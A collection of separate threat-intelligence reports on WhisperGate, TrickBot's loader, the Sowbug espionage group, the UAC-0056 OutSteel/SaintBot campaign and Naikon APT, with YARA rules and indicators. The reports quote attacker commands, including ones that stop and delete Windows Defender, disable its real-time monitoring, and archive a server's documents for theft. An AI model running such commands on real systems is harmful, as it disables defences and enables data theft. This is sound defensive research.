A196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
**stage2.exe**
Dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
**Tbopbh.jpg** downloaded by stage2.exe and decodes to Frkmlkdkdubkznbkmcf.dll below
923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6
**Frkmlkdkdubkznbkmcf.dll**
9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
## YARA Rules
```yara
rule Whispergate_Stage_1 {
meta:
description = "Detects first stage payload from WhisperGate"
author = "[email protected]"
date = "2022-01-17"
license = "Apache License 2.0"
hash = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
strings:
$a = { 31 41 56 4E 4D 36 38 67 6A 36 50 47 50 46 63 4A 75 66 74 4B 41 54 61 34 57 4C 6E 7A 67 38 66 70 66 76 }
$b = { 38 42 45 44 43 34 31 31 30 31 32 41 33 33 42 41 33 34 46 34 39 31 33 30 44 30 46 31 38 36 39 39 33 43 36 41 33 32 44 41 44 38 39 37 36 46 36 41 35 44 38 32 43 31 45 44 32 33 30 35 34 43 30 35 37 45 43 45 44 35 34 39 36 46 36 35 }
$c = { 24 31 30 6B 20 76 69 61 20 62 69 74 63 6F 69 6E 20 77 61 6C 6C 65 74 }
$d = { 74 6F 78 20 49 44 }
condition:
uint16(0) == 0x5A4D and all of them
}
rule Whispergate_Stage_2 {
meta:
description = "Detects second stage payload from WhisperGate"
author = "[email protected]"
date = "2022-01-17"
license = "Apache License 2.0"
hash = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
strings:
$a = { 6D 5F 49 6E 74 65 72 63 65 70 74 6F 72 }
$b = { 6D 5F 62 31 36 65 37 33 65 30 64 61 61 63 34 62 34 33 62 36 35 36 36 39 30 31 62 35 34 32 34 63 35 33 }
$c = { 6D 5F 34 33 37 37 33 32 63 65 65 35 66 35 34 64 37 64 38 34 61 64 64 37 62 64 33 30 39 37 64 33 63 61 }
$d = { 6D 5F 30 64 62 39 37 30 38 63 66 36 34 39 34 30 38 32 39 66 39 61 66 38 37 65 64 65 65 64 66 36 30 65 }
$e = { 6D 5F 65 31 34 33 33 31 36 38 32 30 62 31 34 64 30 33 38 38 61 37 32 37 34 34 33 38 65 63 30 37 38 64 }
$f = { 6D 5F 66 33 31 30 39 30 63 37 31 35 64 65 34 62 30 62 61 62 64 33 31 61 36 33 34 31 31 30 34 36 63 38 }
$g = { 6D 5F 36 31 31 64 31 61 62 63 33 32 66 63 34 66 64 38 61 33 34 65 30 34 34 66 39 37 33 34 34 31 64 61 }
$h = { 6D 5F 37 37 34 62 39 32 31 30 64 39 38 31 34 32 65 62 62 34 34 31 33 35 35 39 64 61 61 65 35 61 34 34 }
condition:
uint16(0) == 0x5A4D and all of them
}
```
## About Cado Security
Cado Security provides the cloud investigation platform that empowers security teams to respond to threats at cloud speed. By automating data capture and processing across cloud and container environments, Cado Response effortlessly delivers forensic-level detail and unprecedented context to simplify cloud investigation and response. Backed by Blossom Capital and Ten Eleven Ventures, Cado Security has offices in the United States and United Kingdom. For more information, please visit [Cado Security](https://www.cadosecurity.com/) or follow us on Twitter @cadosecurity. |
# Threat Intelligence Report: The Evolution of Doppel Spider from BitPaymer to Grief Ransomware
In this report, Armor's Amer Elsad will dive deep and explore Grief operation and development since it was first observed in July 2017 as BitPaymer, as well as compare the different variants and partnerships with other threat actors and ransomware groups. |
# Detricking TrickBot Loader
TrickBot (TrickLoader) is a modular financial malware that first surfaced in October 2016. Almost immediately, researchers noticed similarities with a credential-stealer called Dyre. It is still believed that those two families might’ve been developed by the same actor. In this article, we will not focus on the core itself but rather the loader whose job is to decrypt the payload and execute it.
## Samples Analyzed
- **Preloader**: b401a0c3a64c2e5a61070c2ae158d3fcf8ebbb51b33593323cd54bbe03d3de00
- **Loader**: 8d56f6816f24ec95524d6b434fc25f9aad24a27dbb67eab0106bbd7b4160dc75
- **Core-32b**: cbb5ea4210665c6a3743e2b7c5a29d10af21efddfbab310035c9a14336c71de3
- **Core-64b**: 028e29ef2543daa1729b6ac5bf0b2551dc9a4218a71a840972cdc50b23fe83c4
- **Core-64b-loader**: 52bc216a6de00151f32be2b87412b6e13efa5ba6039731680440d756515d3cb9
## Original Binary
While the binary has two consecutive loaders, the first one will be glossed over because of its low level of complexity. The binary’s entry point, observed symbols were embedded in the binary.
### Functions Buffer
The first thing we notice after loading the RC4-decrypted payload from the previous stage is that IDA hasn’t automatically recognized a single valid function. This section’s permissions are also looking quite suspicious, because the section needs to be readable, executable, and writable. The function that starts just after the chunks lengths’ last entry (begins at 0x40108C) is responsible for calculating the starting offset for each function (or binary chunk) and storing it into an array stored on the stack.
### Function Used for Calculating Addresses
The function's objective is pretty straightforward:
- Iterate over the null-terminated chunks lengths array.
- If a length is larger than or equal to 0xFFF0, fetch the full length from a second buffer located further in the data (+0xCDFA in this sample).
- Add the current function’s length to the accumulator.
- Push the accumulator onto the stack.
The final array of pointers looks as follows (remember that since values are pushed onto the stack, the pointers are reversed relatively to their position in the lengths array).
### Code Encryption
The previously mentioned code encryption is done using a standard repeating XOR cipher. The XOR key seems to be located around the base64-encoded strings. In this sample, the key is equal to `FE9A184E408139843FA99C45943D`.
### Detricking
All we really have to do is iterate over all functions, decrypt their body with XOR, and mark the functions. As seen in previous screenshots, all function calls are performed using a function wrapper that:
- Accepts the index of the function to execute.
- Grabs the function’s address from the global table.
- Decrypts the function code.
- Calls the decrypted function.
- Encrypts the function code back again.
### Example Function Wrapper Call
In order to simplify our analysis, we’ll patch the binary and replace the wrapper calls with direct function calls. Almost every wrapper call is exactly the same, which will be very helpful. XX is a single unsigned byte that determines the index of the wrapped function. YY YY YY YY is a 32-bit, relative, little-endian integer that marks the address of the wrapper function. Our plan is to patch the whole call blob to where ZZ ZZ ZZ ZZ is the relative address of the wrapped function. To do that, we’ll use an IDAPython script.
### Imports
All imports are loaded into a static location in memory using a hash lookup.
### C Decompilation
We can find the correct API function table using different methods, but we are going to focus on doing it manually by looking for the correct function name. Start off by rewriting the hash function to Python. We’ll also need a list of functions exported by Windows DLLs. We’ve found that scraping http://www.win7dll.info/ actually works pretty well for that purpose. Now we need to iterate over all hashes and find a correct function name for each one. All that’s left now is to create an IDA struct that contains the function names and set the global array to the proper type.
### String Encoding
All strings are encoded using base64 with a custom alphabet. The custom charset is a permutation of the default base64 charset, e.g., `JTQ2czLo5NfrsUjZFSkgOlYRB6yKhva/uA83d4GiteMwn17xmIEVX+qP0W9DbHCp`.
### Overview
After applying all of the described anti-anti-analysis patches, we end up with a pretty decent-looking binary.
### Main Function
The binary iterates over DLL names stored in strings and checks if any of them is present in the PEB InMemoryOrderModuleList linked list. DLLs checked:
- pstorec.dll
- vmcheck.dll
- dbghelp.dll
- wpespy.dll
- api_log.dll
- SbieDll.dll
- SxIn.dll
- dir_watch.dll
- Sf2.dll
- cmdvrt32.dll
- snxhk.dll
### Antimalware Services
A series of checks is performed using QueryServiceStatusEx in order to detect any anti-malware services currently running on the system. If a service is detected, the loader tries to disable it accordingly:
- **WinDefend**
- `cmd.exe /c sc stop WinDefend`
- `cmd.exe /c sc delete WinDefend`
- `TerminateProcess MsMpEng.exe`
- `TerminateProcess MSASCuiL.exe`
- `TerminateProcess MSASCui.exe`
- `cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true`
- `RegSetValue SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware`
- `RegSetValue SOFTWARE\Microsoft\Windows Defender Security Center\Notifications DisableNotifications`
- **MBAMService**
- `ControlService MBAMService SERVICE_CONTROL_STOP`
- **SAVService**
- `TerminateProcess SavService.exe`
- `TerminateProcess ALMon.exe`
- `cmd.exe /c sc stop SAVService`
- `cmd.exe /c sc delete SAVService`
- Checks IEFO4.key for ‘MBAMService’, ‘SAVService’, ‘SavService.exe’, ‘ALMon.exe’, ‘SophosFS.exe’, ‘ALsvc.exe’, ‘Clean.exe’, ‘SAVAdminService.exe’ and sets Debugger registry key to `kjkghuguffykjhkj` if a match is found.
### Loading Binary
The binaries embedded in the loader are encrypted using the same XOR cipher method as the functions; however, they are also compressed using MiniLZO 2. The methods of executing the payload differ for 32 and 64-bit binaries. While the former is pretty straightforward, the latter integrates a more sophisticated code injection technique. Firstly, a new suspended process is created (in this sample with process name equal to “svchost”), then the execution transfers to a dynamically-generated shellcode that performs a switch from 32-bit compatibility mode to 64-bit using a trick called Heaven’s Gate. Finally, the shellcode performs a call to the decrypted 64-bit helper shellcode which then finally jumps to the 64-bit core.
### Modules
As of today, TrickBot is distributing the following modules:
- **domainDll32.dll**: bf50566d7631485a0eab73a9d029e87b096916dfbf07df4af2069fc6eb733183
- **importDll32.dll**: f9ebf40d1228fa240c64d86037f2080588ed67867610aa159b80a553bc55edd7
- **injectDll32.dll**: a515f4f847e8d7b2eb46a855224c8f0e9906435546bb15785b6770f2143bc22a
- **mailsearcher32.dll**: 46706124d4c65111398296ea85b11c57abffbc903714b9f9f8618b80b49bb0f3
- **networkDll32.dll**: c8c789296cc8219d27b32c78e595d3ad6ee1467d2f451f627ce96782a9ff0c5f
- **outlookDll32.dll**: 9a529b2b77c5c8128c4427066c28ca844ff8ebbd8c3b2da27b8ea129960f861b
- **pwgrab32.dll**: fe0f269a1b248c919c4e36db2d7efd3b9624b46f567edd408c2520ec7ba1c9e4
- **shareDll32.dll**: af5ee15f47226687816fc4b61956d78b48f62c43480f14df5115d7e751c3d13d
- **squlDll32.dll**: b8b757c2a3e7ae5bb7d6da9a43877c951fb60dcb606cc925ab0f15cdf43d033b
- **systeminfo32.dll**: dff1c7cddd77b1c644c60e6998b3369720c6a54ce015e0044bbbb65d2db556d5
- **tabDll32.dll**: 479aa1fa9f1a9af29ed010dbe3b080359508be7055488f2af1d4b10850fe4efc
- **wormDll32.dll**: 627a9eb14ecc290fe7fb574200517848e0a992896be68ec459dd263b30c8ca48 |
# Endpoint Protection
Symantec has identified a previously unknown group called Sowbug that has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia, appearing to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.
Symantec saw the first evidence of Sowbug-related activity with the discovery in March 2017 of an entirely new piece of malware called Felismus used against a target in Southeast Asia. We have subsequently identified further victims on both sides of the Pacific Ocean. While the Felismus tool was first identified in March of this year, its association with Sowbug was unknown until now. Symantec has also been able to connect earlier attack campaigns with Sowbug, demonstrating that it has been active since at least early 2015 and may have been operating even earlier.
To date, Sowbug appears to be focused mainly on government entities in South America and Southeast Asia and has infiltrated organizations in Argentina, Brazil, Ecuador, Peru, Brunei, and Malaysia. The group is well resourced, capable of infiltrating multiple targets simultaneously, and will often operate outside the working hours of targeted organizations in order to maintain a low profile.
## Highly targeted intrusions
Some clues about the motivation and interests of the attackers can be found in their activities after compromising victims. For example, in a 2015 attack on one South American foreign ministry, the group appeared to be searching for very specific information. The first evidence of its intrusion dated from May 6, 2015, but activity appeared to have begun in earnest on May 12. The attackers appeared to be interested in one division of the ministry that is responsible for relations with the Asia-Pacific region. They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command:
```
cmd.exe /c c:\windows\rar.exe a -m5 -r -ta20150511000000 -v3072 c:\recycler\[REDACTED].rar "\\[REDACTED]\*.docx" \\[REDACTED]\*.doc.
```
Interestingly, the command specified that only files modified from May 11, 2015, onwards should be archived. The attackers appear to have successfully extracted the archive because an hour later they returned, this time attempting to extract all documents modified from May 7, 2015, an extra four days’ worth of data. Presumably, they either didn't find what they were looking for in the initial incursion or else noticed something in the documents they stole earlier that prompted them to hunt for more information.
The attackers didn’t stop there. Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting, again attempting to extract all Word documents. In this case, they searched for any documents modified from May 9 onwards. The attackers then seemed to broaden their interest, listing the contents of various directories on remote shares, including one belonging to another division of the South American foreign ministry, this one responsible for relations with international organizations. They also deployed two unknown payloads to the infected server. In total, the attackers maintained a presence on the target’s network for four months between May and September 2015.
## Network traversal: Keeping a low profile
Sowbug frequently maintains a long-term presence on the networks of targeted organizations, sometimes remaining inside a victim environment for up to six months. One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software. This allows the attackers to hide in plain sight, as their appearance in process listings is unlikely to arouse suspicion.
For example, in September 2016, Sowbug infiltrated an organization in Asia, deploying the Felismus backdoor on one of its computers, Computer A, using the file name adobecms.exe in CSIDL_WINDOWS\debug. From there, it installed additional components and tools to a directory named CSIDL_APPDATA\microsoft\security. The attackers then began to perform reconnaissance activities on Computer A via cmd.exe, collecting system-related information, such as the OS version, hardware configuration, and network information. They then performed some further reconnaissance, attempting to identify all installed applications on the computer. They returned four days later, creating a sub-directory called “common” in the Adobe directory of the Program Files folder, i.e., c:\Program Files\Adobe\common, and installed another tool in this sub-directory, again named adobecms.exe. This was possibly an updated version of the backdoor.
The attackers’ network reconnaissance appeared to be successful because a second computer of interest in the organization was identified and compromised. The attackers then returned to Computer A, installing another executable called fb.exe. This file appears to be used to copy Felismus across the network to other computers, and there is evidence that the attackers used it to attempt to infect at least two more computers. The attackers took further measures to remain under the radar by carrying out their operations outside of standard office hours. In this case, the attackers maintained a presence on the target’s network for nearly six months between September 2016 and March 2017.
## Infection vectors
How Sowbug performs its initial infiltration of a target’s network remains unknown. In some cases, there was no trace of how Felismus made its way onto compromised computers, meaning it was likely deployed from other compromised computers on the network. In other attacks, there was evidence that Felismus was installed using a tool known as Starloader (detected by Symantec as Trojan.Starloader). This is a loader that installs and decrypts data from a file called Stars.jpg. Additionally, Starloader was also observed deploying additional tools used by the attackers, such as credential dumpers and keyloggers.
It is still unknown how Starloader is installed on the compromised computer. One possibility is that the attackers use fake software updates to install files. Symantec has found evidence of Starloader files being named AdobeUpdate.exe, AcrobatUpdate.exe, and INTELUPDATE.EXE among others. These were used to create versions of the Felismus backdoor as well as other tools.
## Global threat
While cyber espionage attacks are often seen against targets in the U.S., Europe, and Asia, it is much less common to see South American countries targeted. However, the number of active cyber espionage operations has increased steadily in recent years, and the emergence of Sowbug is a reminder that no region is immune to this kind of threat.
## Protection
Symantec customers are protected against Sowbug, and Symantec has also made efforts to notify identified targets of its operations. Customers with Intelligence Services or WebFilter-enabled products are protected against activity associated with the Sowbug group. These products include:
- Web Security Service (WSS)
- ProxySG
- Advanced Secure Gateway (ASG)
- Security Analytics
- Content Analysis
- Malware Analysis
- SSL Visibility
- PacketShaper
Symantec has the following specific detections in place for the threats called out in this blog:
### AV
- Backdoor.Felismus
- Trojan.Starloader
### IPS
**Indicators of compromise**
**Backdoor.Felismus samples**
- MD5: 514f85ebb05cad9e004eee89dde2ed07 - Detection: Backdoor.Felismus
- MD5: 00d356a7cf9f67dd5bb8b2a88e289bc8 - Detection: Backdoor.Felismus
- MD5: c1f65ddabcc1f23d9ba1600789eb581b - Detection: Backdoor.Felismus
- MD5: 967d60c417d70a02030938a2ee8a0b74 - Detection: Backdoor.Felismus
**Trojan.Starloader samples**
- MD5: 4984e9e1a5d595c079cc490a22d67490 - Detection: Trojan.Starloader
**Hacktools**
- MD5: e4e1c98feac9356dbfcac1d8c362ab22 - Detection: Hacktool.Mimikatz
**Installation directory**
- %WINDOWS%\debug
- %APPDATA%\microsoft\security
**Command and control infrastructure**
- nasomember[DOT]com
- cosecman[DOT]com
- unifoxs[DOT]com |
# Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot
**February 26, 2022**
**By Unit 42**
**Category:** Malware
**Tags:** Advanced URL Filtering, AutoFocus, Cortex, information disclosure, OutSteel, Phishing, SaintBot, Ukraine, WildFire
## Executive Summary
On Feb. 1, 2022, Unit 42 observed an attack targeting an energy organization in Ukraine. CERT-UA publicly attributed the attack to a threat group they track as UAC-0056. The targeted attack involved a spear phishing email sent to an employee of the organization, which used a social engineering theme that suggested the individual had committed a crime. The email had a Word document attached that contained a malicious JavaScript file that would download and install a payload known as SaintBot (a downloader) and OutSteel (a document stealer). Unit 42 discovered that this attack was just one example of a larger campaign dating back to at least March 2021, when Unit 42 saw the threat group target a Western government entity in Ukraine, as well as several Ukrainian government organizations.
The OutSteel tool is a simple document stealer. It searches for potentially sensitive documents based on their file type and uploads the files to a remote server. The use of OutSteel may suggest that this threat group’s primary goals involve data collection on government organizations and companies involved with critical infrastructure. The SaintBot tool is a downloader that allows the threat actors to download and run additional tools on the infected system. SaintBot provides the actors persistent access to the system while granting the ability to further their capabilities.
While the OutSteel and SaintBot payloads were common among the attacks, the actors used different social engineering themes and infection chains to compromise systems. The actors used current events and other pertinent themes to trick recipients into opening documents, clicking links, enabling malicious content, or running executables directly to compromise their systems. Early attacks in March and April 2021 used cryptocurrency and COVID themes, while we observed the actors using law enforcement-related themes and fake resumes in the May-July 2021 and the February 2022 attacks. The use of law enforcement-related themes in attacks spanning several months suggests that the threat group favors this social engineering theme in the absence of a trending topic or current event.
The use of email as the attack vector remains the same in all attacks carried out by this threat group. While the spear phishing emails are a common component, each attack uses a slightly different infection chain to compromise the system. For instance, the actors have included links to Zip archives that contain malicious shortcuts (LNK) within the spear phishing emails, as well as attachments in the form of PDF documents, Word documents, JavaScript files, and Control Panel File (CPL) executables. Even the Word documents attached to emails have used a variety of techniques, including malicious macros, embedded JavaScript, and the exploitation of CVE-2017-11882 to install payloads onto the system. With the exception of the CPL executables, most of the delivery mechanisms rely on PowerShell scripts to download and execute code from remote servers.
For more comprehensive information about the Russia-Ukraine crisis, including an overview of known attacks and recommendations for how to protect against possible threats, please see our post, “Russia-Ukraine Crisis: How to Protect Against the Cyber Impact.”
Palo Alto Networks customers receive protections against the attacks described via products and services including Cortex XDR and the WildFire, Advanced URL Filtering, and DNS Security security subscriptions for the Next-Generation Firewall.
## Attack Overview
On Feb. 1, 2022, Unit 42 observed threat actors sending a targeted email to an individual at an energy organization in Ukraine. The email had the following attributes:
- **From:** [email protected]
- **Subject:** Повідомлення про вчинення злочину (<redacted targeted individual’s name>)
- **Attachment:** Повідомлення про вчинення злочину (<redacted targeted individual’s name>).docx
The email subject and the filename of the attached document translate from Ukrainian to "Report on the commission of a crime" (<redacted targeted individual’s name>). The email suggests that the individual was involved in criminal activity, which is likely part of the actor's social engineering efforts to convince the targeted individual to open the attachment. The malicious Word document displays the following contents:
The content within the attached document also follows the theme in the delivery email, as it appears to be a redacted criminal investigation report from the National Police of Ukraine. The document instructs the user to click the icons with the exclamation point to display the redacted contents hidden by black bars over the text. Each of the supposedly redacted pieces of content has an icon that, when double-clicked, runs malicious JavaScript (SHA256: b258a747202b1ea80421f8c841c57438ffb0670299f067dfeb2c53ab50ff6ded) that is embedded within the document. When the user double-clicks the icon, Word effectively writes the following file to the system and runs it with Windows Script Host (wscript):
`C:\Users\ADMINI~1\AppData\Local\Temp\[email protected] - Повідомлення (15).js`
The JavaScript file will run the following process:
The PowerShell one-liner above will download an executable from the following URL, save it to `%PUBLIC%\GoogleChromeUpdate.exe`, and execute it:
`hxxps://cdn.discordapp.com/attachments/932413459872747544/938291977735266344/putty.exe`
According to CERT-UA, this PowerShell one-liner also appears in another attack attributed to this group that occurred a few days earlier on Jan. 31.
Based on our analysis of the payload that this attempted spear phishing attack leads to, which includes the SaintBot downloader and the OutSteel document stealer, we suspect that the threat group’s goals for this attack involve exfiltrating data from the energy organization.
## Links to Prior Attacks
CERT-UA mentioned that they track this activity using the moniker UAC-0056, while other organizations track this group with the names TA471, SaintBear, and Lorec53. Our research shows that these attacks have various overlaps with previous attack campaigns focused on other organizations in Ukraine and Georgia, as well as other nations’ assets local to Ukraine. These overlaps involve the use of the SaintBot downloader, shared infrastructure, and other common elements.
Details of known prior attacks associated with UAC-0056 are available in Appendix A. Attacks described in the appendix include:
- **March 2021:** An attack campaign against targets in Georgia using Bitcoin and COVID themes.
- **April 2021:** Bitcoin-themed spear phishing emails targeting Ukrainian government organizations.
- **May 2021:** Law enforcement-themed attacks targeting Ukrainian government organizations.
- **June 2021:** Law enforcement-themed attack against a Ukrainian government organization.
- **July 2021:** Spear phishing attempt on a Western government entity in Ukraine.
## Payload Analysis for Feb. 2 Attack
As seen above, the actors leverage Discord’s content delivery network (CDN) to host their payload, which is a common technique that the threat group uses across many of their attacks. The use of Discord benefits threat actors since the popularity of Discord’s servers for gaming, community groups, and other legitimate usage causes many URL filtering systems to place a high degree of trust in its domain. Discord’s terms of service do not allow malicious use of its CDN, and the company has been working to find and block abuses of its platform.
In this attack, this URL was hosting a malicious executable (SHA256: f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff) that is a loader. This acts as the first stage of several in the overall infection chain, each of which have varying levels of complexity. Ultimately, this infection chain results in the installation and execution of a document stealer called OutSteel, a loader Trojan called SaintBot, a batch script turned into an executable that disables Windows Defender, and a legitimate Google Chrome installation executable.
### Initial Loader
The executable initially downloaded by the JavaScript in the delivery document is an initial loader Trojan, whose developers signed using a certificate (SHA1: 60aac9d079a28bd9ee0372e39f23a6a92e9236bd) that has "Electrum Technologies GmbH" within the organization field. This is related to the Electrum Bitcoin wallet.
This first-stage loader is a simple wrapper for the next few stages – these later stages will simply decrypt a DLL from its resources, before loading it into memory and invoking its entry point.
The stager contains some interesting anti-analysis functionality, refusing to execute inside a virtual machine, and in some cases, on bare metal systems. While that makes it difficult to perform dynamic analysis, before performing any virtual machine checks, the sample does call functions within the Class5_Decrypter class, which is responsible for decrypting the embedded payloads. This allows us to debug the sample and extract those payloads once decrypted.
The four embedded binaries decrypted and executed by the stager include OutSteel, SaintBot, an executable that runs a batch script to disable Windows Defender, and the Google Chrome installer.
### OutSteel
OutSteel is a file uploader and document stealer developed with the scripting language AutoIT. It is executed along with the other binaries. It begins by scanning through the local disk in search of files containing specific extensions, before uploading those files to a hardcoded command and control (C2) server. In this sample, the C2 server it reaches out to is `185.244.41.109:8080`, with the endpoint `/upld/`.
Scanning is performed through the use of CMD commands. The list of file extensions that OutSteel gathers is shown below, and the choice of these extensions is likely an attempt to gather potentially sensitive files. These file types include documents for Microsoft Office suite applications, Microsoft Access database files, Microsoft Outlook data files, and various archive file types.
- *.doc
- *.ppt
- *.xls
- *.rtf
- *.accdb
- *.pst
- *.zip
- *.txt
- *.docx
- *.pptx
- *.xlsx
- *.dot
- *.pot
- *.ppa
- *.tar
- *.pdf
- *.csv
- *.mdb
- *.pps
- *.rar
- *.7z
Once the script has finished uploading all relevant files to the C2, it will then attempt to download a file to `%TEMP%\svjhost.exe` from the secondary hardcoded C2 `eumr.site`. The downloaded payload is a sample of the SaintBot .NET loader, also extracted from the SHCore2 DLL, and if downloaded successfully, will be executed via the command line.
### windows_defender_disable.bat
This batch file is used to disable Windows Defender functionality. It accomplishes this by executing multiple commands via CMD that modify registry keys and disabling Windows Defender scheduled tasks. This script is open source and available on GitHub, so there is no custom element to this specific sample. This is done to reduce the risk of the dropped payloads being detected by Windows Defender.
### SaintBot .NET Loader
The SaintBot .NET loader is also composed of several stages, with varying levels of obfuscation. It begins by executing a single PowerShell one-liner, which results in the execution of cmd.exe, passing the command timeout 20. Once the timeout completes, the loader will resume.
The first layer of the loader will extract a reversed .NET binary from its resources, before flipping, loading into memory, and executing it.
This secondary layer contains far more obfuscation than the first, also implementing obfuscation through obscurity with around 140 different classes. Also stored within these classes are several virtual machine and sandbox checks, such as checking if Sbiedll.dll is present in the list of loaded modules, comparing the machine name to HAL9TH and the user name to JohnDoe, and checking the BIOS version for known virtual machine identifiers.
Once all checks have been passed, the second stage of the loader will extract the SaintBot binary from its resources and decrypt it. From there, it begins loading in different API calls, including VirtualAllocEx, WriteProcessMemory, CreateProcessA, and SetThreadContext. These calls are used to spawn MSBuild.exe in a suspended state before injecting the decrypted SaintBot binary into it, modifying the thread context to point to the malicious entry point and resuming the process.
### SaintBot Payload
SaintBot is a recently discovered malware loader, documented in April 2021 by MalwareBytes. It contains capabilities to download further payloads as requested by threat actors, executing the payloads through several different means, such as injecting into a spawned process or loading into local memory. It can also update itself on disk – and remove any traces of its existence – as and when needed.
Upon execution within the MSBuild process, SaintBot will perform several anti-analysis checks, as well as a locale check. If any of these checks fail, a batch script named `del.bat` is dropped to the `%APPDATA%` folder and executed, removing any SaintBot payload-linked files from the system.
If the checks are passed, the payload attempts to locate `slideshow.mp4` from the `%LOCALAPPDATA%\zz%USERNAME%` path, where `slideshow.mp4` is actually a copy of `ntdll.dll`. If the file is not found, SaintBot assumes it has not yet been installed on the system and therefore jumps to the installation procedure. This involves creating a directory in the `%LOCALAPPDATA%` folder, with the name set to `zz%USERNAME%`. Then, the local `ntdll.dll` binary is copied over to the newly created folder and renamed to `slideshow.mp4`. Along with that, a .vbs and .bat script are dropped, named `%USERNAME%.vbs` and `%USERNAME%.bat`. Once the installation routine is complete, the payload executes itself once again and exits.
If `slideshow.mp4` is discovered on the initial check, it is used to load in the core API provided by `ntdll.dll`. This is done to avoid any hooks placed on API calls within the original `ntdll.dll` by EDR/AV software.
At this point, the payload then checks to see if it is running under the process name `dfrgui.exe`, and if not, it will spawn `dfrgui.exe` from the `%SYSTEM%` directory. This spawned process is then injected into `dfrgui.exe` using `NtQueueApcThread` to resume the process, and the original MSBuild process terminates.
If SaintBot is running inside `dfrgui.exe`, it will confirm whether or not it is running with administrator privileges. If not, it will attempt to bypass UAC using `fodhelper.exe`.
Persistence is then set up through the `CurrentVersion\Run` registry key, and communication finally begins with the C2 server. This sample has a total of three C2 servers embedded within it, all reaching out to the same `/wp-adm/gate.php` endpoint.
This particular sample accepts six total commands from the C2 server:
| Command | Purpose |
|-----------------------|---------|
| de | Execute an EXE or DLL (using regsvr32) via cmd.exe |
| de:regsvr32 | |
| de:LoadMemory | Spawn copy of dfrgui.exe and inject downloaded executable into process |
| de:LL | Download DLL and load into memory with LdrLoadDll() |
| update | Update SaintBot binary |
| uninstall | Uninstall SaintBot from machine |
## Conclusion
Unit 42 research discovered a threat group targeting an energy organization that is part of Ukraine’s critical infrastructure. This attack is part of a year-long campaign of attacks that not only targeted Ukrainian government organizations but also foreign nations’ embassies in Ukraine. The threat group delivered a malicious payload called OutSteel that is capable of automatically exfiltrating various types of files, including documents, archives, database files, and files containing email-related data. Based on the list of targeted organizations and the use of a file exfiltration tool, we believe this threat group’s primary goal is to steal sensitive information for the purpose of situational awareness and leverage in dealing with Ukraine.
For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign:
- Cortex XDR protects endpoints from the SaintBot malware described in this blog.
- WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
- Advanced URL Filtering and DNS Security identify domains associated with this attack campaign as malicious.
- Users of the AutoFocus contextual threat intelligence service can view malware associated with these attacks using the SaintBot, SaintBot_Loader, and OutSteel tags.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
## Appendix A: Prior Attacks Associated With UAC-0056
Prior attacks associated with UAC-0056 are described below, organized by the time of attack. For an overview of known attacks, please see the timeline in the “Links to Prior Attacks” section above.
### March 2021 Attacks
According to MalwareBytes research, this threat group carried out an attack campaign in March 2021 on targets in Georgia using Bitcoin and COVID themes. The researchers state that these attacks involve spear phishing, but we do not have telemetry to confirm the targeted organizations, attack vector, or the exact dates in which the attacks took place. The Bitcoin-themed attacks are very similar to those seen in later April attacks, as the PDF delivery documents had similar content that references Electrum bitcoin wallets.
### April 2021 Attacks
In April 2021, the threat group carried out an attack that involved a spear phishing email with a PDF document attached, which suggested the recipient could become rich by accepting Bitcoins. As first seen in research by Ahnlab, these Bitcoin-themed attacks were specifically targeting Ukrainian government organizations.
### May 2021 Attacks
In May 2021, we saw the threat group sending targeted emails to two Ukrainian government organizations. The two emails had subjects of Заява №4872823 and Заява №487223/2, and both had the same message content that suggested the email was from a senior investigator trying to contact the individual.
### June 2021 Attacks
In June 2021, we observed this threat group targeting another Ukrainian government organization by sending a spear phishing email with a subject that translates to “Your arrest warrant” from Ukrainian. The content of this email includes urgent language suggesting that the recipient must read the attached report or they will be declared “wanted.”
### July 2021 Targeting
On July 22, 2021, we observed a spear phishing attempt in which the threat group targeted a Western government entity in Ukraine. The actors sent the email to an address publicly displayed on the embassy’s website with the subject RE: CV. The email had a Word document attached to it with a filename structured as <first name>_<last name>_CV.doc, of which the name was a well-known journalist in Ukraine. |
# The Lotus Panda is Awake, Again: Analysis of Its Last Strike
**April 29, 2022**
NAIKON is the name of an APT (Advanced Persistent Threat) believed to originate from China. The Naikon hacker group was first tracked over a decade ago, back in 2010. Naikon APT hit the headlines in 2015 when malware researchers discovered the infrastructure used by cybercriminals. Thanks to this, one of the members of the hacker group was caught by law enforcement. After this oversight, cybersecurity analysts suggested that Naikon APT went out of business. However, Naikon has resurfaced in the last weeks.
The geolocalization and the sectors targeted by Naikon cyberattacks could likely suggest their intention to strategically attempt ASEAN members like Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand, and Vietnam. Because of their more capitalist economic model and their partnerships with the West, those countries could likely have important and classified foreign affairs or military information, which could likely be acquired and exploited by the Chinese threat actor. In fact, the group focused its previous attacks on high-profile targets such as government agencies and military organizations in the South Asian region. Most government bodies targeted by Naikon APT cybercriminals are usually in the foreign affairs or science and technology sectors. Some state-owned businesses and companies have also reportedly been targeted by the threat actor.
